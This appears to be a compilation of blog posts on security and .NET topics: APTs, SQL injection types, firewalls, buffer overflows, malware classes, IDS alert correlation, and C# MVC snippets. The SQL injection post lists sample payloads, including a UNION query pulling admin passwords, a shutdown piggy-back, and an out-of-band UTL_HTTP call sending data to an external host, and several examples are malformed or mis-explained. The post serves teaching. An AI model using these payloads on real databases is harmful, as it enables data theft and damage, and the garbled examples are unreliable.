Have you heard of Advance Persistent Threat or APT?

Introduction

Advance persistent threat (APT) is a term referring to organised, targeted attacks on government organisations, officials and businesses, to steal valuable information and / or to cause damage to assets. These attacks require a high degree of knowledge and the attacks usually occur over a long period of time.

To understand an APT, it is important to look at the definition of each word: advance, persistent and threat. The keyword “advance” implies that the attacker has a high degree of knowledge that allows them to use large pool of intrusion tools and techniques. The keyword “persistent” is used to describe that the attacks are guided and usually occurs over a long period of time. And lastly the “threat” implies that a human is involved in the attack rather than the automated tools. (1)

The first section describe the characteristic that an attack must have to be considered as an APT. The section two describes the life cycle of an APT attack. The section 3 describes some of the measures that could be taken to defend against APTs, these actions are based on the behaviour at the beginning and later stages of an attack.

1. Characteristics of an APT

An advance persistent threat attack has 3 main characteristics. They are targeted, complex and persistent in nature. The following paragraphs describe each characteristic in detail.

Targeted: APT attacks are targeted to a specific company or a person to achieve a specific target. For example, Stuxnet (2) was specifically targeted to Iran nuclear power station. Night Dragon was targeted at oil and petroleum companies. RSA attack targeted to gather information on RSA SecureID (2). Aurora operation was targeted to steal source code from Google, Adobe and other high profile companies. These are unlike opportunistic attacks thate usually see from the hackers. But rather well organised, well-funded attacks that are targeted to achieve a specific objective. It can be assumed that any company or organisation with a high value data could be a target.

Complex: APTs usually involves a mixture of attacks, attempting to penetrate the network using different techniques. These may include, sending phishing emails to targeted individuals, targeting vulnerabilities in applications, targeting unpatched system, and zero day vulnerabilities. It is to be noted that to defend against these complex attacks a defence in depth strategies should be deployed.

Persistent: APTs mainly occur over a long period of time. As the attackers have to gather information about the target and develop specific attack strategies, involving finding zero day vulnerabilities and development of their own tools for the specific vulnerability in the system. Moreover, once the attack penetrate into the network, they may still find lots of obstacles to overcome in order to reach their target. These usually span over weeks and months.

2. Stages of Advance Persistent Threat

APTs consist of the 4 major stages (please note that different authors further divide stages). Each stages may take long period of time.

• Reconnaissance: during this stage the attacker is attempting to understand the target and its vulnerable points.
• Penetrate: using the information gathered from the previous stage, thettacker gains access to the target system.
• Persist and propagate: once the attacker gains access to the network, he installs, backdoors and further propagate into the network.
• Data Exfiltration or take action: once the attacker reaches the targeted objective, they have to extract data from the target or do harm to the system.

The following sub section looks at each of the stage in details.

2.1 Reconnaissance

This is first stage of an APT. At this stage, the attacker gathers information about the target. This stage is mainly divided into two sub stages: passive scanningnd active scanning.

Reconnaissance is also referred as passive scanning. During this process the attacker finds information about the target by looking at blogs, job seeking posts, and corporate website. These sources can include information about network devices, software’s including anti-viruses, staffs and their roles and technical contact numbers of the target.

Scanning may involves using automated tools (such as nmap, nikto) to identify potential hosts that could be targeted, they look for ports that are open, and different services running on the host. It is to be noted that automated scanning is noisy, and attackers use other attacks to hide a scanning process. These may involve a dos attack on the hosts, so that the logs are over written.

2.2 Penetrate

Once the attacker finds a potential host which is vulnerable, many targeted attacks will be deployed to infiltrate the host. These attacks may involve using social engineering techniques, spear phishing emails, and using zero-day vulnerability malwares. It is to be noted, these attacks are developed specifically for the targets and are designed to evade the anti-virus and intrusion detection systems that are in been used by the target.

2.3 Persist & Propagate

Once the attacker has infiltrated the system, special measures are taken by the attackers to maintain the access to the system. Some of the measure they take involves:

• Installing special software (remote-access software) to implement the communication between infiltrated host and attacker
• Creating administrative users and taking copies system password hash files
• Hiding the presence of them in the system, by deleting system and firewall log files

After taking measure to maintain access to the infiltrated system, further payloads are downloaded into system for running scans, and identify other nodes on the network. This helps the attacker to map out the network and find the next system to be penetrated in order to reach the target.

This movement from one system to another to reach the target is referred as “pivoting”. It is important to note that propagation phase may take weeks and months on itself, as further reconnaissance and penetration stages occur during pivoting from system to system to reach the target.

2.4 Data exfiltration or take action

At this stage, the attacker has control of one or more system on the target and has reached the final system or found the information the attacker wanted. Now the attacker needs to collect information and send it to outside server or to another system (assuming the attack goal is to get data or information). If the information gathered needed to be sent from time to time, this stage last for months and years, until the attack is detected and stopped. On the other hand, if this information is needed to be sent only once then the attack ends after sending data.

In addition to this, other actions that the attacker may take include (3):

• Holding data for ransom
• Information sold for potential buyers, for example, credit card information’s stolen from large retail shops are sold in black market
• Sell or disclose the attack methods used in compromising the target
• Disclose the information and data to public

Detection of APT

Advance persistent threat attacks occur quietly and are very difficult to detect, hence they may be in a compromised system for a long time before it is detected. So it is important to be on alert to identify any suspicious activity that could happen in any of the components on the network.

Some of the early sign of an APT may involve activities such as: 1) suspicious emails, 2) suspicious connections, 3) files containing shellcode, and 4) anomalous traffic. These actions could be detectable by antiviruses and intrusion detection system.

Since most APTs are detected long after compromise of a system, the intrusion detection systems should be on the lookout for activities that are carried after a compromise. Some of the activities that are involved in later stages can include, 1) data access attempts, 2) data transfers and 3) changes in application configurations.

Conclusion

Advance persistent threats are attacks that are complex, organised and targeted to a specific organisation or an individual. Although these attacks are been carried out by highly skilled hackers, it is going to change when APTs knowledge is spread among hacker communities. Hence more organisations are going to fall victim of APT attacks.

The key to defending an APT is to follow security best practices (such as defence in depth strategies), so that it would result in an early detection, reducing the impact of the attack.

References

1. Damballa. Adavance Persistent Threats (APTs). Atlanta : s.n., 2010.
2. Advanced Persistent Threats: A decade in review . Command Five Pty Ltd. 2011.
3. Web Sense. Advance Persistent Threat and other Advance Attacks. 2011.

 

Do you know SQL Injection or you just think you know it?

That is the question with which the lecturer started. I wondered If I really know it too. So I am here writing what I know of SQL Injection, may be someone else could help me out with things that I get wrong or provide me with more insight in to the topic.

Introduction

SQL injection is an attack by which the attackers pass the sql statement from the client to the server for execution. If the sql statement is executed successfully, it may result in a data breach, leaking out information that the developer didn’t intend to show. In addition to this, the attackers can insert, delete or update rows in the database as well.

SQL injection attacks can be divided into few categories based on how the result of the statement execution or how statements are formed. Below are the categories of sql injection types, this article will look into.

1. Tautologies
2. Union Queries
3. Piggy-back queries
4. Timing attacks
5. Alternative Encoding
6. Out of band attacks
7. Illegal/Logically incorrect Queries

Tautologies

This attack involves use of a boolean condition that results in either always true condition or always false condition

select * from users where username = 'abc' or 1 > 2 '

Above example always eavalute to true.

Union Queries

Union queries work by combining results from two separate queries, which takes data from different tables or view.

select * from users where userId = $id

The id value will be manipulated by the user by adding a union query

$id= 1 UNION ALL SELECT adminUsers, password FROM AdminUsers

This will result in the following query

select * from users where userId = 1 UNION ALL SELECT adminUsers, password FROM AdminUsers

Which gives combined result of both queries.

Piggy-back queries

Piggy back queries are queries appended to a existing query, resulting in more than one query in the statement.

select * from users where userId = 1; shutdown();

The above statement contains two queries, the developers could check for this type of statement before execution of the sql statement.

Timing attacks

Timing attacks are very helpful when the database and application error output is switched off. This is also part of blind sql injection. For this type of attacks the attacker appends a database timing function to the orginal query and verify if the timing functions executes or not, by checking the server response time. If the server responds immediately then the timing function is not working else the database is vulnerable to this type of attacks.

select * from users where userId = 1; sleep(15);

Alternative Encoding

In this type of attacks, the sql text is encoded to avoid detection by defensive coding. These types of attacks are hard to detect. But some of the keywords used in this approach cab be identified.

Select * from members where id=1 OR 'ABC' = concat(conv(10,10,36),
                            conv(11,10,36),conv(12,10,36)),1
Select * from members where id=1 OR 'abc' = char(97,98,99),1
Select * from members where id=1 OR ascii('a') = 97,1
Select * from members where id=1 OR ceil(pi())=4,1
Select * from members where id=1 OR floor(pi()*pi()+pi())=13,

Out of band attacks

This is also very helpful technique for blind sql injection attacker. The attacker could use a dbms functions to execute a command, which result in out of band connection, that passes results to the attacker. For example, the attacker could use this technique to emails user informations.

select * from users where userId = =10||UTL_HTTP.request(‘testerserver.com:80’||
(SELET user FROM DUAL)--

Illegal/Logically incorrect Queries

This is also known as error based sql injection exploitation. This type of attacks help the user when other types of attacks, such as Union queries are not helpful. It is also very helpful at reconnaisence stage of an attack, whereby attacker inputs illegal query to see the resulting output. This result may give information about the backend database system.

select * from users where userId = ' --

The above query will result in error message. To guard against this type of attacks the production database should have the error messaging swtiched off.

………………………….

There is one more type of sql injection called Stored Procedure Injection. For this type of attacks the parameters of the stored procedure are modified to get the results.

Hope this article is informative.

What is it that people call network firewalls?

So I have been reading about firewalls today. It can be said that it is a tool, piece of software that controls the flow of traffic between networks. They sit at the border between networks, acting as a gateway that makes decisions about the kind of traffic that should be allowed or denied access. This decision is usually done based on the TCP/IP characteristics. They also log which connections were blocked. These blocked activities are usually generated by malicious hackers running automated tools, port scanning or malwares.

Now we know the basic idea of what firewall does, lets look at different functions a firewall carries out. Here we will look at the following five functions.

1. Simple Packet filtering
2. Stateful Packet filtering
3. Network Address Translation
4. Intrusion Prevention System
5. Logging

Different types of Firewalls based on functionality

Packet Filters

This is the most basic functions of firewall device. These devices inspect ingress and egress transmissions to see if their properties meet the rule set, if they meet the rules they are allowed or denied access based on action specified in the rule. Simple packet filtering operation is stateless in their operation, meaning they do not have the capability to associate multiple request or handle sessions.

Stateless packet filters are susceptible to most exploits that take advantage of the TCP/IP protocol stack. For example, many packet filters are unable to detect spoofed IP addresses. More over, some packet filters can filter packets that are fragmented, even though they are legitimate requests. (Firewalls blocking fragmented packets is a common VPN interoperabitliy issues).

The table below shows a simple rule-set for a packet filtering firewall. It is important to know that rules are applied from the top, that is when a rule that match is found, that rules is applied immediately.

Action	Source Address	Destination Address	Protocol	Source Port	Destination Port	Control Bit
Allow	Inside	Outside	TCP	Any	80	Any
Allow	Outside	Inside	TCP	80	> 1023	ACK
Deny	All	All	All	All	All	All

The above rule-set allows the users to browse internet.

Stateful Firewalls

This type of devices improve upon the packet filters, by have an additional component, a states table. Stateful firewalls intercepts the packets at the network layer and inspect them to see if they are allowed by the existing firewall rule, while also keep a track of the packet in the state table. The state table properties vary by vendors, but most of them maintains the following properties. Source address, source port, destination address, destination port, connection state and timeout period.

Three major connection state for TCP traffic are

• Connection establishment
• Usage
• Termination

For stateless protocols such as UDP, which do not have a formal process of intialize, establish and termination, their state cannot be monitored at the transport layer. For such protocols, stateful firewalls are able to track the source and destination addresses and port numbers. Hence a state entry is added with a state to allow traffic, but a timeout field is added so the entry can be deleted when timeout occurs.

Application Layer Firewalls

These are the third generation firewalls that work at the application layers. The main component of this type of firewalls is stateful protocol analysis. This improves on the basic stateful inspection described above by adding a basic intrusion detection technology, i.e. an inspection engine that analyses protocols at the application layer to compare benign activities against the traffic activities. This technology is also sometimes referred as Deep Packet Inspection (DPI), as the device is now looking in to the contents of the packet, not just the header as in the previous types of firewalls. Firewalls with both stateful inspection and stateful protocol analysis capabilities are not fully-fledged IDPS, which usually have more capabilities.

Proxy Firewalls

An Application Proxy gateway is a feature of modern firewalls, that combines the lower layer access control with upper layer functionality. These firewalls contains a proxy agent that acts as an intermediary between two host that wish to communicate. This stops direct connection between them, each connection resulting in two separate connection. The proxy is transparent to the host. The proxy agent interfaces directly with the firewall rule-set to determine whether a given instance of network traffic should be allowed to transit the firewall.

Application-proxy gateways are different than the application firewalls in two ways. Firstly they can offer a higher level of security for specific applications, because it prevents direct communications between two hosts. And secondly, they can decrypt the packets, examine them and re-encrypt before sending the to the destination.

The main drawback of this type of firewall is that it take time reading and interpreting the packets.

What is a buffer overflow?

Introduction

Buffer overflow happens when more data is written to a buffer, then it is allocated to hold. This extra data is translated to memory direction numbers, which is executed by a computer. A buffer overflow could crash the application, and also could be exploited by an attacker to execute any command they want.

Types of Buffer Overflow

• Stack Overflow
• Heap Overflow

Prevention Mechanisms

• Use higher level programming languages that are strongly typed and disallow direct memory access
• Canary (stack cookie) is a data pattern that is written to the stack just before EIP register (EIP contains the address of the next instruction)
• Address Space Layout Randomization (ASLR)
• Data Execution Protection
• Stack Canary/Cookie

How to read WordPress feeds in a C# MVC .Net application

This is a very easy method you could use to read XML data from a feed and instantiate the object you need with that information. For the following example, I am using an MVC .Net Application code.

First you need to create the Model to store the posts information.

 public partial class BlogPost
 {
    public string Name { get; set; }
    public string URL { get; set; }
    public string Description { get; set; }
    public System.DateTime Date { get; set; }
 }

The following step is used to read the XML data, I have created a helper class with a static method.

public class BlogPostsLookUp
 {
    public static IEnumerable<BlogPost> GetBlogPosts()
    {
      XDocument feedXML = XDocument.Load("http://clarifycoder.com/feed/");

      var feeds = from feed in feedXML.Descendants("item")
            select new BlogPost
            {
              Name = feed.Element("title").Value,
              URL = feed.Element("link").Value,
              Date = DateTime.Parse(feed.Element("pubDate").Value),
              Description = feed.Element("description").Value,
             };

       return feeds;
    }
 }

Once you have the list of blog post you can use it in the View for displaying the information

<ol class="blog-home">
    @foreach (var blog in BlogPostsLookUp.GetBlogPosts())
     {
       <li>
           <a href="@blog.URL" target="_blank">@blog.Name <br /></a>
           <span style="color: #b8c4c4">
               posted on 
               <span style="color:#808080;font-style:italic">
                  @blog.Date.ToString("MMMM dd, yyyy")
               </span>
           </span>
      </li>
    }

</ol>

Principles of a secure network design

Introduction

As internet keeps on growing, letting more people to come online, the number of network security breaches are increasing as well. To guard against these security breaches a good secure network design needs to be in place. This article will discuss some of theses principles of a securely designed network. Below is the five principle that will be discussed.

1. Defense in depth
2. Compartmentalization
3. Principle of Least Privilege
4. Weakest Link in the chain
5. Accountability and Traceability

Defense in depth

This is a term that includes several of the principles of network design. The large number of components that builds up a network and its complexity makes the network vulnerable in many areas, its hard to identify which one has the weak security features built in. Hence, it is desirable to build a network, with many layers of security giving a more depth of security against the weakness in different components.

The following three rules apply to defense in depth strategy.

1. Defense in multiple places: This principle states that network could be attack from multiple points (insiders and outsiders), so security devices should be deployed at different points in the network, to prevent attacks that pass through one device.
2. Build layered defenses: More than one security layer should be built, to stop attackers from reaching their target. For example nested firewalls, couple with IDS/IPS could be deployed at outer and inner boundaries.
3. Use robust components: This rule states that the security devices should be deployed based on the value of what you are protecting and threat at the point of application.

Compartmentalization

IT system resources of different sensitivity levels(i.e., different risk tolerance values and threatsusceptibility) should be located in different security zones, be it physically or logically.

With proper placement and configurations of firewalls help create secure architectures by dividing the network infrastructure into security zones and controlling communication between them.

Principle of Least Privilege

This rule states that access of systems or should be restricted to minimum user or administrators. This also covers the physical access to the domain, access to the systems, applications and web services as well. In addition to this, control of external user access is also covered. An extension of this rule is the “Need-to-know” rule, which states the information should be given to the people who absolutely need to know it.

Weakest Link in the chain

The security of the IT system depends on the least secured element of the system. A layered approach to network design with weaker and least protected assets residing in a separated domain mitigates the existent of these weakest link (Humans are considered to be the weakest link in information security architectures).

 Accountability and Traceability

This principle states that the security risks will exist, we need to do our best to manage and mitigate the risk as soon as the risk appears.

Hence, the the network architecture should provide means of tracking the users, attackers and administrator actions. This principle translate to functions such as auditing, event management and monitoring and forensics.

Malware – an introduction and classification

Malicious software, or malware refers to programs that exploit vulnerabilities in a computing system for a harmful purpose. These malicious programs can be differentiated into categories based on their behaviours or functions. For example, based on whether they require a host program or not, or by identifying if the software copies itself or not. In the following section I will look into main categories of malware.

Virus

A virus is a piece of program code, which is self-replicating and inject itself into installed programs in the system. These types of malware can be further classified into 4 types

Resident Virus: This type of viruses embeds themselves into the memory of the target host. In such a way that, it becomes activated every time the OS start or executes a specific action.

Non-resident Virus: When executed this type of virus actively seeks targets for it to infect, either on local, removable or network locations. Upon further infections it exits, hence not residing in memory

Boot sector Virus: This type of virus targets specifically a boot sector on the host’s hard drive. Once infected, the virus gets loaded into memory every time an attempt is made to boot from the infected hard drive.

Macro Virus: Macro viruses are written in macro language, embedded in Word, Excel, Outlook documents. These viruses are executed as soon as the document is opened.

Worm

Worms are also considered a sub division of viruses, as they also self-replicating. Unlike viruses, worms exploit network and operating system vulnerabilities to spread. In addition to this, they do not require any interaction for replication process. This capability makes worm more dangerous.

Trojan horse

Unlike viruses and worms, Trojan horse does not have the capabilities of self-replication. These are programs that pretend to be legitimate, but are designed to carry out a malicious actions when run. These applications may come in forms of free software’s, games, videos, etc.

Backdoor (Remote Administration Tool)

A backdoor or a remote administration tool is a piece of software that gives a person access to a computer without the owner’s consent. Depending on the capability of RAT, the attackers can run or install software’s they need to cause damages.

Rootkit

A rootkit is a piece of software, which is designed to hide its presence and actions from the users and anti-virus software. It is able to do this via deep integration with the operating system. These rootkits starts before OS starts. Rootkits helps the attackers to maintain the root level access to the compromised system.

Bots and Botnets

Bots are software’s that are created to perform specific operations. While some of the bots are created for harmless purposes (such as video gaming, Internet auctions), it is becoming increasingly common to bots being used for malicious activities. Bots are used in botnets (which is a collection of computers controlled by third parties) for DDoS attacks, or as web spiders that scrape server data and for distributing malware.

Spyware

A piece of software that monitors victim’s activities and also gather other information from victim’s computer and sends it back to its creator.

Ransomware

Ransomware is a malware that is designed to extort money from its victims. It can appear as a pop up, phishing link, or malicious website, and once acted on, will trigger a vulnerability in the user’s system, locking out the keyboard and screen, and sometimes even the entire computer. It’s intended to scam people by falsely accusing the victims of a crime and asking to pay a fine.

Sending email in an MVC application

I have implemented emailing in some of the web application I have done in the past, and also one of the recent project. So I thought this could be helpful for some of the developers, so decided to share it.

The process could be divided into 3 simple activities.

1. Create the partial view, with self contained CSS
2. Implement a method which would generate a string object after initialising the partial view with its model
3. Send the mail

Note: The below implementaion was done for a site hosted on GearHost

Here is the method converts the partial view to a string. This requires the reference to the Controller object, the partial view name, and Model object that is required by the view.

After creating the view that you need, you can use the same code below to send the email.

Hope this helps. 🙂

Correlating Network Intrusion Detection Alerts

Abstract:  With the increase in number of components that makes up a computer network, and increase in attack types, large amounts of low level alerts are being generated by an Intrusion detection systems (IDS). It is difficult to make sense of these alerts by themselves, the manual task of finding the relationship among them would take huge time. Hence, came the need of Alert Correlation systems.

Keywords: Intrusion Detection System, Alert Correlation, Alert

1. Introduction

An intrusion detection system (IDS) is an automated software that is capable of scanning all the activities that occur in the network. There are 3 main methodologies used by these systems; signature based, anomaly based, and stateful protocol analysis. When an event occurs in a network, the IDS analyse the event using one of the above mentioned methodology, to determine if that event is malicious or not. If it is found to be malicious, an alert is generated that is passed to the system administrators.

Due to increase in the number of automated systems, that tries to infiltrate a network (such as nmap, Nessus), a huge amount alerts may be generated by an IDS. The number alerts increases, when multiple IDS sensors are used at different points in the network. In addition to this, IDS lack the capabilities to identify the relationships among different alerts. As a result, it is time consuming and challenging to analyse all the generated alerts.

To fulfil this gap, alert correlation systems were introduced. Paper (1) define alert correlation as a conceptual interpretation of multiple alerts such that new meanings are assigned to these alerts. The alert correlation system tries to identify the relationships among the alerts, to give a high level picture of what is happening.

This paper is written to give an introduction to what alert correlation is, to identify the basic building blocks of these systems and to identify the categories of alert correlation algorithms. In this regard, section 2, looks at the fundamental operations of these systems. While the section 3, looks at different algorithms that have been designed to correlate alerts.

2. Fundamental Correlation Operations

The different types of alert correlation can be identified based on the correlation operation that is executed on alerts. According to the paper (2), these operations could be divided into 7 types. They are compression, filtering, selective suppression, thresholding, modification, generalization, enrichment and specialization.

2.1 Compression

Compression operation consists of detecting the number of same alerts, which occurred in a given time frame and generating a new alert, which includes the count of each alert type. This method loses some data, such as the time at which the alerts occurred. If it is lossless, then the operation is referred as aggregation (2). For example, if alert a, b, c occurred 2,3,1 times respectively within a time frame, the compression process will generate a new alert d, which will include the number of time each alert occurred.

2.2 Filtering operation

Filtering is the process of filtering out alerts based on certain parameters. This operation may lead to many losses as well. Eg. If a filter is in place to filter out alerts with the attribute ‘c’, if any alerts with attribute ‘a’ and ‘c’, or ‘c’ and ‘d’ may be filtered out. Only alerts that contain attribute ‘c’ will pass through.

2.3 Selective Suppression

Selective suppression operation consists of discarding of alerts based on a predefined criteria. The criteria may involve discarding of an alert if another type of alert is present, or due to a priority setting. For example, alert type 1 may be discarded if alert type 3 is present.

2.4 Thresholding

This operation generates an alert if a particular type of alerts is generated beyond a certain threshold value within a certain time period. This method may result in huge loss of information, as many alerts may not be reported to the analyst, if they do not meet the threshold value.

 2.5 Modification

Modification correlation operation works by which, depending on a context, an alert may be replaced by another one. This approach may result in loss of information as well, if the modification is irreversible. An example of this process, may include the alert priority could be modified due to the presence of a certain condition.

2.6 Generalization

Generalization is the operation by which a certain group of alerts are replaced by another alert, if they meet certain characteristics. For example, many alerts may be generated during nmap scanning, a new alert may be created by correlation process, which says ‘nmap scanning took place.’

2.7 Specialization

This is the opposite operation of generalization, by which multiple alerts are generated based on an alert using a deductive type reasoning (2). These alerts may be specialised based on data from the database and configurations. For example, if alert type 5 occurs, system knows that for that type of alert to occur alert type 6, and alert type 7 should have been present, hence the system generates new alerts for alert type 6 and 7.

2.8 Enrichment

Enrichment operation consists of generating an alert which contains additional information based on previous data. For example, if an alert type 7 occurs, system adds additional information such as a list of possible attack types.

3. Alert Correlation Algorithms 

Alert correlation algorithms can be categorised into 3 main types, based on the characteristics. They are similarity based, knowledge based and statistical based correlation algorithms.

Similarity based algorithms, works by detecting the similarities between alerts. These similarities are determined by a rule set which is defined by the analyst. The second category, knowledge based correlation, requires a database of knowledge consisting of fixed patterns and alert histories in the correlating process. The statistical-based approach requires the least amount of knowledge. These algorithms can detect alert that occurs outside the norm of the normal alerts. They are also referred as an anomaly based alert correlation.

The following sub-section explains each of the category separately and highlight some of the works done by researchers in each category.

3.1 Similarity based correlation

These algorithms works on the basis that there has to be a factor that would define a particular set of alerts. If this defining factor is found in an alert or a cluster of alerts (meta-alert), in a given period of time, these alerts are merged to form a new alert or a new meta-alert is formed.

This group of correlation algorithms can be subdivided in to three types. They are simple rules, hierarchal rules and machine learning. (3) Simple rules category works on the basis that rules need to be designed expressing relationships among the attributes of alerts. The second sub category, find alerts, that identifies the drawbacks of network architecture. This type of algorithms are needed as network issues are persistent, and require special handling or should be discarded. Finally, the machine learning algorithm works by automatically building models with special parameters, which could be used to identify an attack type from a group alerts.

Simple rules

In the paper (4) simple rule based Emerald product is discussed. These algorithms work by defining a rule set which tries to match the relationships among the attributes of alerts. These rules are evaluated among alerts to identify the relationships among them. Hence, these systems does not require a large database of knowledge.

Hierarchical Rules

This type algorithms forms hierarchical abstraction levels, and these levels are used to make decisions about security events. This type of algorithms work on the premise that an alert occurs due to some reason also referred as “root cause”. The paper (5) argues that 90% of alerts generated by an Intrusion detection system are due to a root-cause. And these alerts are persistent and should be removed as it floods the IDS, hiding more imminent threats on the network.

Machine Learning

The last sub category of similarity based correlation is machine learning. These algorithms generate comparison factors automatically during training process. Machine learning algorithms could be of supervised or unsupervised. For a supervised machine learning algorithm, a set of clustered alerts should be given during the training process, using which the algorithms builds models based on a set of parameters specified by the supervisor. On the other hand, for an unsupervised algorithm, the perimeters are decided by the system, during the training process.

3.2 Knowledge based correlation

This type of algorithms requires a knowledge base in order to work. These can be further divided based into two categories based on the knowledge it requires. They are scenario based and pre/post condition based.

Scenario based algorithms are based on the idea that the attacker must follow specific actions for a success of an attack. The second type of correlation, works by defining a set of pre-requisites and the expected result for a particular attacks. This type of algorithm lacks alert correlation against unknown attack types.

Scenario based

These types of algorithms are used to identify multi-step attacks. Scenario based algorithm assume that for a particular attack type to occur, the attacker will follow a known sequence of steps.

Paper (6) introduce an approach which automatically analyse multiple alerts generated by an IDS, and group them based on the likelihood of them belonging to a particular attack scenario. They achieved this by using self-organizing maps and unsupervised clustering algorithms.

Pre/post condition based

This category of algorithms are implemented by defining a knowledge base, which include a prerequisite for an alert to occur, such as network configurations and structure, and post conditions that follows it. With the help of this knowledge base, the systems are capable of identifying the alerts which belongs to groups, hence reducing the number of alerts shown to the security analyst.

3.3 Statistical based correlation

These algorithms works on the idea that some attacks will have similar statistical attributes and can be categorized based on these attributes. These types of algorithms store causal relationships between different incidents and analyses there occurred frequencies in the system education period using previous data statistical analysis and then attack steps are generated (3).

Purely statistical based approach does not require a knowledge base of attack types. But according to paper (3) these algorithms yield good result only in a specific domain, otherwise results in a high error rate.

4. Comparison

Below summarizes the comparison of algorithms done on paper (3). According to the results obtained by them, a complete alert correlation system needs a hybrid approach, which include algorithms addressing all concerns.

Characteristic	Similarity	Knowledge	Statistical
Combining alerts from various sensors	Yes	Yes	No
Prior knowledge	Yes	Yes	No
Detect false alert	Yes	Yes	Guessing
Detecting multi-staged attacks	Hardly	Yes	Guessing
New attacks	Yes	No	Yes
Error rate	Average	Low	high

5. Summary

The state of art intrusion detection systems are capable of identifying almost all possible attack types. Due to increase in the number of attacks, these systems generates a huge amount of alerts, which are over whelming and time consuming for an analyst to analyse. In order to address these issues, alert correlation systems are needed. This paper summarized fundamental correlation approaches used by these systems. Moreover, different categories of alert correlation algorithm was introduced and discussed.

This paper looked at several techniques that have already been developed in this area, each addressing different concerns in alert correlation systems. I hope this paper gives a better understanding of alert correlation systems and would be useful in furthering the knowledge of this topic.

6. References

1. A Survey on IDS Alerts Processing Techniques. SAFAA O. AL-MAMORY, HONG LI ZHANG. s.l. : 6th WSEAS International Conference on Information Security and Privacy, 2007.
2. Fabien Pouget, Marc Dacier. Alert Correlation: Review of the state of the art. 2003.
3. Seyed Ali Mirheidari, Sajjad Arshad, Rasool Jalili. Alert Correlation Algorithms: A Survey and Taxonomy. 2013.
4. Skinner, Alfonso Valdes and Keith. Probabilistic Alert Correlation. 2001.
5. Julisch, Klaus. Clustering Intrusion Detection Alarms to Support. s.l. : ACM Journal, 2002.
6. Multistep Attack Detection and Alert Correlation in Intrusion Detection Systems. Fabio Manganiello, Mirco Marchetti, and Michele Colajanni. 2011. Vol. 200.

How to find the properties responsible when an EntityValidationErrors occurs.

So I just upgraded my Entity Framework to version 6.0 and started getting the EntityValidationErrors . It turn outs I have been following a wrong pattern in creating views and models. I did not use the ViewModel concept and added extra fields to the normal model. So during the validations these extra fields keep causing the errors.

The error I keep getting was “Validation failed for one or more entities. See ‘EntityValidationErrors’ property for more details”, and does not give any details of the fields responsible for the error. The following code gives you the properties list that caused the error.